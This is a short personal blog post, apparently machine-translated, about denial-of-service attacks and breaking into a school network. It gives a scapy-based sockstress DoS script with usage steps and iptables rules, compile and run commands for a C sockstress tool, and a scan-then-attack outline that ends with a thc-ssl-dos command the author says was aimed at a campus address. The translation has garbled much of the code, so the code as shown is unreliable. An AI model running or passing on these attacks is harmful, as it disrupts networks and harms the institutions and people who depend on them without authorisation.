Dos attacks and infiltration school network

In order to prove that I'm still alive, did not talk much

Dos attacks script (which is a sockstrees Dos script)

 1 #-*- coding:utf-8 -*-
 2 from scapy.all import *
 3 from time import sleep
 4 import thread
 5 import logging
 6 import os
 7 import signal
 8 import sys
 9 
10 from scapy.layers.inet import IP,TCP
11 
12 logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
13 
14 if! len (the sys.argv) =. 4 :
 15      Print ( " Usage: ./sock_stress.py [the IP Target] [port] [threads] " )
 16      Print ( " Example: ./scok_stress.py [1.1.1.1] 20 port ## is open to attack " )
 . 17      the sys.exit ()
 18 is  
. 19 target = STR (the sys.argv [. 1 ])
 20 dstport A = int (the sys.argv [2 ])
 21 is Threads = int (the sys.argv [ 3 ])
 22 is  
23 is  # # attack functions 
24  DEF sock_stress (target, dstport A):
 25      the while 0 == 0:
 26 is          the try :
27              X = the random.randint (0,65535 )
 28              Response = SR1 (the IP (DST = target) / the TCP (Sport = X, = dport dstport A, the flags = ' S ' ), timeout =. 1, verboss = 0)
 29              Send (the IP (DST = target) / the TCP (dport = dstport A, X = Sport, window = 0, the flags = ' A ' , ACK = (Response [the TCP] + .seq. 1)) / ' \ xOO \ xOO ' , verboss = 0)
 30          the except :
 31 is              Pass 
32  # # stop the attack function 
33 is  DEF the shutdown (Signal, Frame):
 34 is      Print ( " Restoring ipables rule ")
 35      the os.system ( ' iptables -D the OUTPUT -p-TCP --tcp the flags the RST -d ' + target + ' -j the DROP ' )
 36      the sys.exit ()
 37 [  
38 is  # # add iptables rules 
39  
40 the os.system ( ' iptables -A the OUTPUT -p-TCP --tcp the flags the RST the RST -d ' + target + ' -j the DROP ' )
 41 is  signal.signal (signal.SIGINT, the shutdown)
 42 is  
43 is  # # multithreaded attack 
44 is  Print ( " \ n attack in progress ... press Ctrl + C to stop the attack . " )
 45 for x in range(0,threads):
46     thread.start_new_thread(sock_stress,(target,dstport))
47 
48 ##永远执行
49 while 0==0:
50     sleep(1)

View Code

 

A,. / Sockstrees (see Use yield)

二、./sockstress.py  [ip] [port]  200

Three, iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 1.1.1.1 -j DROP (ip manually added)

Four, iptables -L (see the add ip)

------------------------------------------------------------------------------------------------

Exploit sockstress.c on the Great God

First, the installation: gcc -Wall -c sockstress.c

　　 Compile: gcc -pthread -o sockstress sockstress.o

Second, the instructions: ./ sockstress [ip]: [port] eth0 10

(Particularly useful)

------------------------------------------------------------------------------------------------

About school network penetration

A, dig school domain

Two, nmap -v [ip] (prepared all known ip, analyzed one by one)

Third, try to open ports

Fourth, try to attack

(I try to attack command: thc-ssl-dos 172.18.36.254 80 --accpet This is an attack on the TCP handshake resources, but unfortunately my first attack failed ...)

 

Website : http://www.tonyplot.xyz